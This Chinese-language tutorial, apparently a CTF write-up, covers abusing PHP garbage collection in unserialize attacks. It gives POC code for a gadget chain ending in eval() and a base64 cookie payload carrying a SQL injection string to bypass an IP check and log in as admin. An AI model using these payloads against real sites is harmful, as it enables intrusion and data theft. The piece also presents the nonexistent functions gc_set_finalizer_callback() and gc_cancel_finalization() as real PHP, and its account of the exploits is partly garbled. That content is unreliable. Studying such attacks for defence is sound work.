GC时间窃取攻击
字数 1075 2025-08-24 07:48:09
PHP GC时间窃取攻击详解
1. PHP垃圾回收(GC)机制基础
PHP垃圾回收(Garbage Collection, GC)是PHP 5.3版本后引入的专门针对循环引用内存泄漏问题的机制。
1.1 GC基本工作原理
PHP的GC主要处理循环引用问题,通过以下步骤工作:
- 当根缓冲区满时启动垃圾回收
- 遍历所有可能的"垃圾"对象
- 标记所有可达对象
- 清除所有不可达对象
官方文档参考:PHP: 回收周期(Collecting Cycles)
2. GC时间窃取攻击原理
GC时间窃取攻击利用PHP垃圾回收机制对对象生命周期的影响,强制提前或阻止某些魔术方法的执行。
2.1 强制提前触发__destruct()
class YHQK {
public $Ihavegirlfriend;
public function __construct($Ihavegirlfriend) {
$this->Ihavegirlfriend = $Ihavegirlfriend;
echo $this->Ihavegirlfriend."areyouxianmume"."</br>";
}
public function __destruct(){
echo $this->Ihavegirlfriend."nonono"."</br>";
}
}
new YHQK(1); // 无变量引用,会被GC立即回收
$a = new YHQK(2); // 有变量引用
$b = new YHQK(3); // 有变量引用
输出结果:
1areyouxianmume
1nonono
2areyouxianmume
3areyouxianmume
3nonono
2nonono
2.2 阻止__destruct()执行
class YHQK {
public function __construct() {
echo "Object created\n";
}
public function __destruct() {
echo "Object destroyed\n";
}
}
function gc_callback($obj) {
if ($obj instanceof YHQK) {
echo "GC callback: YHQK instance found, blocking __destruct\n";
gc_cancel_finalization($obj);
}
}
gc_enable();
gc_set_finalizer_callback('gc_callback');
$obj1 = new YHQK();
$obj2 = new YHQK();
$obj2 = null;
unset($obj1);
关键函数:
gc_enable(): 启用垃圾回收器gc_set_finalizer_callback(): 设置垃圾回收回调gc_cancel_finalization(): 取消对象的析构
3. GC攻击实战案例
3.1 绕过异常阻断destruct
题目源码:
class ssz1 {
public $bzh;
public function __destruct(){
echo "hello __destruct";
echo $this->bzh;
}
}
class ssz2 {
public $bzh;
public function __toString() {
echo "hello __toString";
$this->bzh->flag();
}
}
class ssz3 {
public $bzh;
public function getyourgirlfriend() {
echo "hello wowowo()";
eval($this->bzh);
}
}
$a = unserialize($_GET['cmd']);
throw new Exception("nonono");
攻击思路:
- 正常情况下
throw new Exception会阻断__destruct()执行 - 利用GC机制强制触发
__destruct()
POC构造:
class ssz1 {
public $bzh;
public function __construct() {
$this->bzh = new ssz2();
}
}
class ssz2 {
public $bzh;
public function __construct() {
$this->bzh = new ssz3();
}
}
class ssz3 {
public $bzh = "phpinfo();";
}
$a = new ssz1();
$c = array(0 => $a, 1 => NULL);
echo serialize($c);
3.2 攻防世界warmup题目利用
题目关键代码:
class SQL {
// ... 省略其他方法 ...
public function __wakeup(){
if(!isset($this->conn)) {
$this->connect();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
// 在index.php中
if(isset($_COOKIE['last_login_info'])) {
$last_login_info = unserialize(base64_decode($_COOKIE['last_login_info']));
try {
if(is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
}
攻击POC:
class SQL {
}
$sql = new SQL();
$sql->table = 'users';
$sql->username = 'admin';
$sql->password = "' or '1'='1";
$poc = array($sql, 1);
echo base64_encode(str_replace('i:1', 'i:0', serialize($poc)));
攻击原理:
- 通过修改序列化数据中的
i:1为i:0,使password变为NULL - 触发GC回收机制,导致SQL对象需要重新初始化
__wakeup()方法优先于IP检查执行- 绕过IP检查直接执行SQL注入
4. 防御措施
- 不要信任用户输入:对所有用户提供的数据进行严格验证
- 安全序列化处理:
- 使用
hash_hmac验证序列化数据的完整性 - 限制反序列化的类
- 使用
- 魔术方法安全:
- 避免在
__wakeup()和__destruct()中执行敏感操作 - 对魔术方法中的操作进行权限检查
- 避免在
- GC相关配置:
- 谨慎使用
gc_set_finalizer_callback - 避免在回调中取消关键操作
- 谨慎使用
5. 总结
GC时间窃取攻击是一种利用PHP垃圾回收机制特性来控制魔术方法执行时机的攻击方式,主要影响:
- 强制提前触发
__destruct()方法 - 阻止
__destruct()方法执行 - 绕过正常逻辑直接触发
__wakeup()方法
这种攻击方式相对冷门但危害较大,开发者需要充分理解PHP垃圾回收机制的工作原理,并在代码中采取相应的防御措施。